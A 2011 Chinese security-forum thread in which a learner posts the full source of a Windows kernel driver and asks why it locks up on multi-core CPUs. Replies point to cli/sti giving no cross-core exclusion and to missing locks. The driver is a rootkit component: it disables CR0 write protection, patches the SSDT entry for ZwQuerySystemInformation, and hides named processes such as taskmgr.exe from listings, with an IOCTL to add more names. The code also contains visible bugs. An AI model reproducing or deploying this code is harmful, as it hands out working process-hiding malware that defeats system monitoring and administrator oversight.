首页
社区
课程
招聘
[旧帖] 多核cpu下ssdt hook隐藏进程死机是什么原因 0.00雪花
发表于: 2011-8-12 11:52 7984

[旧帖] 多核cpu下ssdt hook隐藏进程死机是什么原因 0.00雪花

2011-8-12 11:52
7984
单核没问题,4核时system进程占用cpu25%,下面是完整代码,附件是sys文件,直接加载就有效果,高手帮忙指点一下,谢谢啦

#include <ntddk.h>

#define MY_DVC_ADDHPITEM 1
#define MY_DVC_HOOK 2

typedef enum _SYSTEM_INFORMATION_CLASS{
	SystemBasicInformation,                // 0 Y N
	SystemProcessorInformation,            // 1 Y N
	SystemPerformanceInformation,        // 2 Y N
	SystemTimeOfDayInformation,            // 3 Y N
	SystemNotImplemented1,                // 4 Y N
	SystemProcessesAndThreadsInformation, // 5 Y N
	SystemCallCounts,                    // 6 Y N
	SystemConfigurationInformation,        // 7 Y N
	SystemProcessorTimes,                // 8 Y N
	SystemGlobalFlag,                    // 9 Y Y
	SystemNotImplemented2,                // 10 Y N
	SystemModuleInformation,            // 11 Y N
	SystemLockInformation,                // 12 Y N
	SystemNotImplemented3,                // 13 Y N
	SystemNotImplemented4,                // 14 Y N
	SystemNotImplemented5,                // 15 Y N
	SystemHandleInformation,            // 16 Y N
	SystemObjectInformation,            // 17 Y N
	SystemPagefileInformation,            // 18 Y N
	SystemInstructionEmulationCounts,    // 19 Y N
	SystemInvalidInfoClass1,            // 20
	SystemCacheInformation,                // 21 Y Y
	SystemPoolTagInformation,            // 22 Y N
	SystemProcessorStatistics,            // 23 Y N
	SystemDpcInformation,                // 24 Y Y
	SystemNotImplemented6,                // 25 Y N
	SystemLoadImage,                    // 26 N Y
	SystemUnloadImage,                    // 27 N Y
	SystemTimeAdjustment,                // 28 Y Y
	SystemNotImplemented7,                // 29 Y N
	SystemNotImplemented8,                // 30 Y N
	SystemNotImplemented9,                // 31 Y N
	SystemCrashDumpInformation,            // 32 Y N
	SystemExceptionInformation,            // 33 Y N
	SystemCrashDumpStateInformation,    // 34 Y Y/N
	SystemKernelDebuggerInformation,    // 35 Y N
	SystemContextSwitchInformation,        // 36 Y N
	SystemRegistryQuotaInformation,        // 37 Y Y
	SystemLoadAndCallImage,                // 38 N Y
	SystemPrioritySeparation,            // 39 N Y
	SystemNotImplemented10,                // 40 Y N
	SystemNotImplemented11,                // 41 Y N
	SystemInvalidInfoClass2,            // 42
	SystemInvalidInfoClass3,            // 43
	SystemTimeZoneInformation,            // 44 Y N
	SystemLookasideInformation,            // 45 Y N
	SystemSetTimeSlipEvent,                // 46 N Y
	SystemCreateSession,                // 47 N Y
	SystemDeleteSession,                // 48 N Y
	SystemInvalidInfoClass4,            // 49
	SystemRangeStartInformation,        // 50 Y N
	SystemVerifierInformation,            // 51 Y Y
	SystemAddVerifier,                    // 52 N Y
	SystemSessionProcessesInformation    // 53 Y N
}SYSTEM_INFORMATION_CLASS;

//Information Class 5
typedef struct _SYSTEM_PROCESSES
{
	ULONG NextEntryDelta;          //构成结构序列的偏移量;
	ULONG ThreadCount;             //线程数目;
	ULONG Reserved1[6];          
	LARGE_INTEGER CreateTime;              //创建时间;
	LARGE_INTEGER UserTime;                //用户模式(Ring 3)的CPU时间;
	LARGE_INTEGER KernelTime;              //内核模式(Ring 0)的CPU时间;
	UNICODE_STRING ProcessName;             //进程名称;
	KPRIORITY BasePriority;            //进程优先权;
	ULONG ProcessId;               //进程标识符;
	ULONG InheritedFromProcessId; //父进程的标识符;
	ULONG HandleCount;             //句柄数目;
	ULONG Reserved2[2];
	VM_COUNTERS VmCounters;              //虚拟存储器的结构;
	IO_COUNTERS IoCounters;              //IO计数结构; Windows 2000 only
	//_SYSTEM_THREADS Threads[1];              //进程相关线程的结构数组;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;

typedef struct _SERVICE_DESCRIPTOR_TABLE
{
	PVOID ServiceTableBase;
	PULONG ServiceCounterTableBase;
	ULONG NumberOfService;
	ULONG ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;

typedef struct _HIDE_PROCESS_LIST
{
	LIST_ENTRY list_entry;
	UNICODE_STRING* pusProcessName;
}HIDE_PROCESS_LIST,*PHIDE_PROCESS_LIST;

typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
);

/////////////////////////////////////////////
//GetSSTDID
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16
#define SEC_IMAGE         0x1000000
#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory

typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _SECTION_IMAGE_INFORMATION {
	PVOID EntryPoint;
	ULONG StackZeroBits;
	ULONG StackReserved;
	ULONG StackCommit;
	ULONG ImageSubsystem;
	WORD SubsystemVersionLow;
	WORD SubsystemVersionHigh;
	ULONG Unknown1;
	ULONG ImageCharacteristics;
	ULONG ImageMachineType;
	ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
	WORD   e_magic;                     // Magic number
	WORD   e_cblp;                      // Bytes on last page of file
	WORD   e_cp;                        // Pages in file
	WORD   e_crlc;                      // Relocations
	WORD   e_cparhdr;                   // Size of header in paragraphs
	WORD   e_minalloc;                  // Minimum extra paragraphs needed
	WORD   e_maxalloc;                  // Maximum extra paragraphs needed
	WORD   e_ss;                        // Initial (relative) SS value
	WORD   e_sp;                        // Initial SP value
	WORD   e_csum;                      // Checksum
	WORD   e_ip;                        // Initial IP value
	WORD   e_cs;                        // Initial (relative) CS value
	WORD   e_lfarlc;                    // File address of relocation table
	WORD   e_ovno;                      // Overlay number
	WORD   e_res[4];                    // Reserved words
	WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
	WORD   e_oeminfo;                   // OEM information; e_oemid specific
	WORD   e_res2[10];                  // Reserved words
	LONG   e_lfanew;                    // File address of new exe header
}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_DATA_DIRECTORY {
	DWORD   VirtualAddress;
	DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

typedef struct _IMAGE_OPTIONAL_HEADER {
	//
	// Standard fields.
	//

	WORD    Magic;
	BYTE    MajorLinkerVersion;
	BYTE    MinorLinkerVersion;
	DWORD   SizeOfCode;
	DWORD   SizeOfInitializedData;
	DWORD   SizeOfUninitializedData;
	DWORD   AddressOfEntryPoint;
	DWORD   BaseOfCode;
	DWORD   BaseOfData;

	//
	// NT additional fields.
	//

	DWORD   ImageBase;
	DWORD   SectionAlignment;
	DWORD   FileAlignment;
	WORD    MajorOperatingSystemVersion;
	WORD    MinorOperatingSystemVersion;
	WORD    MajorImageVersion;
	WORD    MinorImageVersion;
	WORD    MajorSubsystemVersion;
	WORD    MinorSubsystemVersion;
	DWORD   Win32VersionValue;
	DWORD   SizeOfImage;
	DWORD   SizeOfHeaders;
	DWORD   CheckSum;
	WORD    Subsystem;
	WORD    DllCharacteristics;
	DWORD   SizeOfStackReserve;
	DWORD   SizeOfStackCommit;
	DWORD   SizeOfHeapReserve;
	DWORD   SizeOfHeapCommit;
	DWORD   LoaderFlags;
	DWORD   NumberOfRvaAndSizes;
	IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef IMAGE_OPTIONAL_HEADER32             IMAGE_OPTIONAL_HEADER;

typedef struct _IMAGE_EXPORT_DIRECTORY {
	DWORD   Characteristics;
	DWORD   TimeDateStamp;
	WORD    MajorVersion;
	WORD    MinorVersion;
	DWORD   Name;
	DWORD   Base;
	DWORD   NumberOfFunctions;
	DWORD   NumberOfNames;
	DWORD   AddressOfFunctions;     // RVA from base of image
	DWORD   AddressOfNames;         // RVA from base of image
	DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
/////////////////////////////////////////////

UNICODE_STRING strDeviceName=RTL_CONSTANT_STRING(L"\\Device\\MNHP");
UNICODE_STRING strSymbLinkName=RTL_CONSTANT_STRING(L"\\DosDevices\\MNHPSL");
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
ULONG ulJmpAddress;
LIST_ENTRY leListHead;
PDEVICE_OBJECT device;
KSPIN_LOCK spin_lock;
KIRQL irql;
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;

void OnUnload(PDRIVER_OBJECT DriverObject);
NTSTATUS Dispatcher(PDEVICE_OBJECT device,PIRP pIrp);
void Hook();
void UnHook();
NTSTATUS AddHideProcessListItem(LIST_ENTRY* pleListEntry,UNICODE_STRING* pusProcessName);
BOOLEAN CheckProcessName(LIST_ENTRY* pleListEntry,PUNICODE_STRING pusProcessName);
ULONG GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName);

NTSTATUS DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegPath)
{
	NTSTATUS status=STATUS_SUCCESS;
	ULONG n;

	//测试
	UNICODE_STRING str=RTL_CONSTANT_STRING(L"svchost.exe");
	UNICODE_STRING str1=RTL_CONSTANT_STRING(L"explorer.exe");
	UNICODE_STRING str2=RTL_CONSTANT_STRING(L"taskmgr.exe");
	UNICODE_STRING str3=RTL_CONSTANT_STRING(L"smss.exe");
	UNICODE_STRING str4=RTL_CONSTANT_STRING(L"csrss.exe");

	KeInitializeSpinLock(&spin_lock);

	//创建设备
	status=IoCreateDevice(pdoDriver,0,&strDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&device);
	if(!NT_SUCCESS(status))
	{
		return status;
	}

	status=IoCreateSymbolicLink(&strSymbLinkName,&strDeviceName);
	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(device);
		return status;
	}
	device->Flags&=~DO_DEVICE_INITIALIZING;

	//初始化链表
	InitializeListHead(&leListHead);

	//测试
	AddHideProcessListItem(&leListHead,&str);
	AddHideProcessListItem(&leListHead,&str1);
	AddHideProcessListItem(&leListHead,&str2);
	AddHideProcessListItem(&leListHead,&str3);
	AddHideProcessListItem(&leListHead,&str4);
	Hook();

	for(n=0;n<IRP_MJ_MAXIMUM_FUNCTION;n++)
	{
		pdoDriver->MajorFunction[n]=Dispatcher;
	}
	pdoDriver->DriverUnload=OnUnload;

	return status;
}

NTSTATUS __stdcall MyQuerySystemInformation(ULONG SystemInformationClass,
	PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
	NTSTATUS status;
	status=((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
		SystemInformation,SystemInformationLength,ReturnLength);

	if(SystemInformationClass==5&&NT_SUCCESS(status))
	{
		BOOLEAN bRemove;
		SYSTEM_PROCESSES* lpCurr=(SYSTEM_PROCESSES*)SystemInformation;
		SYSTEM_PROCESSES* lpPrev=lpCurr;
		if(lpCurr->NextEntryDelta)
		{
			lpCurr=(SYSTEM_PROCESSES*)((ULONG)lpCurr+lpCurr->NextEntryDelta);
			while(TRUE)
			{
				bRemove=FALSE;
				if(CheckProcessName(&leListHead,&lpCurr->ProcessName))
				{
					if(lpCurr->NextEntryDelta)
					{
						lpPrev->NextEntryDelta+=lpCurr->NextEntryDelta;
						bRemove=TRUE;
					}
					else
					{
						lpPrev->NextEntryDelta=0;
						break;
					}
				}
				if(!bRemove) lpPrev=lpCurr;
				if(!lpCurr->NextEntryDelta) break;
				lpCurr=(SYSTEM_PROCESSES*)((ULONG)lpCurr+lpCurr->NextEntryDelta);
			}
		}
	}

	return status;
}

NTSTATUS Dispatcher(PDEVICE_OBJECT device,PIRP pIrp)
{
	NTSTATUS status;
	PIO_STACK_LOCATION pisl;
	ULONG code;
	ULONG ulInLen;
	ULONG ulOutLen;
	PVOID pvBuffer;
	UNICODE_STRING usStr;
	ANSI_STRING asStr;

	pisl=IoGetCurrentIrpStackLocation(pIrp);
	code=pisl->Parameters.DeviceIoControl.IoControlCode;
	pIrp->IoStatus.Information=0;
	pIrp->IoStatus.Status=STATUS_SUCCESS;
	ulInLen=pisl->Parameters.DeviceIoControl.InputBufferLength;
	ulOutLen=pisl->Parameters.DeviceIoControl.OutputBufferLength;
	pvBuffer=pIrp->AssociatedIrp.SystemBuffer;

	switch(code)
	{
	case MY_DVC_ADDHPITEM:
		{
			if(ulInLen<0xFFFF)//检查长度是否超出USHORT最大值,因为UNICODE_STRING.Length是USHORT型
			{
				KeAcquireSpinLock(&spin_lock,&irql);
				asStr.Buffer=pvBuffer;
				asStr.Length=asStr.MaximumLength=ulInLen;
				RtlAnsiStringToUnicodeString(&usStr,&asStr,TRUE);
				AddHideProcessListItem(&leListHead,&usStr);
				ExFreePool(usStr.Buffer);
				usStr.Length=usStr.MaximumLength=0;
				KeReleaseSpinLock(&spin_lock,irql);
			}
			else
			{
				pIrp->IoStatus.Status=STATUS_INVALID_PARAMETER;
			}
		}
		break;
	case MY_DVC_HOOK:
		{
			Hook();
		}
		break;
	default:
		break;
	}

	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	status=pIrp->IoStatus.Status;

	return status;
}

BOOLEAN CheckProcessName(LIST_ENTRY* pleListEntry,PUNICODE_STRING pusProcessName)
{
	LIST_ENTRY* p;
	HIDE_PROCESS_LIST* phpl;
	BOOLEAN bRet=FALSE;
	for(p=pleListEntry->Flink;p!=(LIST_ENTRY*)&pleListEntry->Flink;p=p->Flink)
	{
		phpl=CONTAINING_RECORD(p,HIDE_PROCESS_LIST,list_entry);
		if(0==RtlCompareUnicodeString(phpl->pusProcessName,pusProcessName,FALSE))
		{
			bRet=TRUE;
		}
	}

	return bRet;
}

NTSTATUS AddHideProcessListItem(LIST_ENTRY* pleListEntry,UNICODE_STRING* pusProcessName)
{
	HIDE_PROCESS_LIST* phpl=(HIDE_PROCESS_LIST*)ExAllocatePool(PagedPool,sizeof(HIDE_PROCESS_LIST));
	KdPrint(("%wZ",phpl->pusProcessName));
	phpl->pusProcessName=ExAllocatePool(PagedPool,sizeof(UNICODE_STRING));
	phpl->pusProcessName->Buffer=ExAllocatePool(PagedPool,pusProcessName->Length);
	phpl->pusProcessName->Length=phpl->pusProcessName->MaximumLength=pusProcessName->Length;
	RtlCopyUnicodeString(phpl->pusProcessName,pusProcessName);
	InsertHeadList(pleListEntry,&phpl->list_entry);

	return STATUS_SUCCESS;
}

void Hook()
{
	//获取函数在ssdt中的索引id
	ULONG ulSSDTFuncID;
	ULONG functionAddress;
	UNICODE_STRING dllName=RTL_CONSTANT_STRING(L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
	functionAddress = GetDllFunctionAddress("ZwQuerySystemInformation", &dllName);
	ulSSDTFuncID=*(DWORD*)(functionAddress+1);

	//保存原函数地址
	ulJmpAddress=(ULONG)KeServiceDescriptorTable->ServiceTableBase+(ulSSDTFuncID*4);
	OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)*(ULONG*)ulJmpAddress;

	__asm
	{
		cli
		mov eax,cr0
		and eax,not 10000h
		mov cr0,eax
	}

	*(ULONG*)ulJmpAddress=(ULONG)MyQuerySystemInformation;

	__asm
	{
		mov eax,cr0
		and eax,not 10000h
		mov cr0,eax
		sti
	}
}

void UnHook()
{
	__asm{
		cli
		mov  eax,cr0
		and  eax,not 10000h
		mov  cr0,eax
	}

	*(ULONG*)ulJmpAddress=(ULONG)OldZwQuerySystemInformation;

	__asm{  
		mov  eax,cr0
		or   eax,10000h
		mov  cr0,eax
		sti
	}
}

DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
	HANDLE hThread, hSection, hFile, hMod;
	SECTION_IMAGE_INFORMATION sii;
	IMAGE_DOS_HEADER* dosheader;
	IMAGE_OPTIONAL_HEADER* opthdr;
	IMAGE_EXPORT_DIRECTORY* pExportTable;
	DWORD* arrayOfFunctionAddresses;
	DWORD* arrayOfFunctionNames;
	WORD* arrayOfFunctionOrdinals;
	DWORD functionOrdinal;
	DWORD Base, x, functionAddress;
	char* functionName;
	STRING ntFunctionName, ntFunctionNameSearch;
	PVOID BaseAddress = NULL;
	SIZE_T size=0;
	OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
	IO_STATUS_BLOCK iosb;

	ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
	oa.ObjectName = 0;
	ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
	ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
	ZwClose(hFile);
	hMod = BaseAddress;
	dosheader = (IMAGE_DOS_HEADER *)hMod;
	opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
	pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
	arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
	arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
	arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
	Base = pExportTable->Base;
	RtlInitString(&ntFunctionNameSearch, lpFunctionName);
	for(x = 0; x < pExportTable->NumberOfFunctions; x++)
	{
		functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
		RtlInitString(&ntFunctionName, functionName);
		functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
		functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
		if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
		{
			ZwClose(hSection);
			return functionAddress;
		}
	}
	ZwClose(hSection);
	return 0;
}

void OnUnload(PDRIVER_OBJECT DriverObject)
{
	LIST_ENTRY* p;
	HIDE_PROCESS_LIST* phpl;

	UnHook();
	IoDeleteDevice(device);
	IoDeleteSymbolicLink(&strSymbLinkName);
	for(p=leListHead.Flink;p!=(LIST_ENTRY*)&leListHead.Flink;p=p->Flink)
	{
		phpl=CONTAINING_RECORD(p,HIDE_PROCESS_LIST,list_entry);
		ExFreePool(phpl->pusProcessName->Buffer);
		ExFreePool(phpl->pusProcessName);
		ExFreePool(phpl);
	}
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
那么多全局变量,多CPU下不出问题才怪呢?
先把你的hook函数改写成可重入的吧
2011-8-12 12:07
0
雪    币: 148
活跃值: (59)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
恩,我把访问全局变量的地方加了自旋锁保护,自旋锁在单核和多核时使用上是不是有什么区别啊。
启动后就是刚开始一会cpu占用高,是不是在什么地方阻塞了,然后过一分钟之后就正常了,会是哪的问题呢,刚学驱动还不会调试
2011-8-12 17:53
0
雪    币: 28
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
哇。。。。在这里能回复啊。。。。帮顶了
2011-8-12 17:55
0
雪    币: 148
活跃值: (59)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
高手们吱一声呗
2011-8-13 12:28
0
雪    币: 148
活跃值: (59)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
诸位高手进来瞥一眼吧,解决了问题100rmb作为酬谢
2011-8-15 14:45
0
雪    币: 230
活跃值: (149)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
cli / sti 在多核系统下不能保证互斥。
2011-8-15 14:48
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
你hook的函数应该加锁吧
MyQuerySystemInformation
2011-8-16 14:59
0
游客
登录 | 注册 方可回帖
返回
//